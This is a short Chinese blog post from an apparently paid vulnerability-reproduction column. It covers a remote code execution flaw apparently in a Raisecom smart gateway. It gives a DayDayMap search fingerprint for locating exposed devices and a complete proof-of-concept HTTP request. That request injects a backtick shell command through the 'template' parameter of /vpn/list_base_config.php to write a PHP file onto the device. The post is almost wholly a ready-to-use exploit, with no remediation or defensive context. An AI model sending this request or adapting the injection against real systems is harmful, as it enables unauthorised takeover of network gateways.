55Ge5pav5bq36L6+5pm66IO9572R5YWzIA== RCE漏洞复现

0xSecl

已于 2024-08-14 14:10:34 修改

阅读量222

点赞数 5

分类专栏：漏洞复现文章标签：安全 web安全

于 2024-08-14 14:10:19 首次发布

本文链接：https://blog.csdn.net/qq_41904294/article/details/141189641

版权

漏洞复现专栏收录该内容

该专栏为热销专栏榜第87名

798 篇文章 1315 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

DayDayMap：

body="/images/raisecom/back.gif" && title=="Web user login"

PoC

GET /vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo+-e+%27%3C%3Fphp+phpinfo%28%29%3Bunlink%28__FILE__%29%3B%3F%3E%27%3E%2Fwww%2Ftmp%2Ftest.php%60 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close

命令执行写文件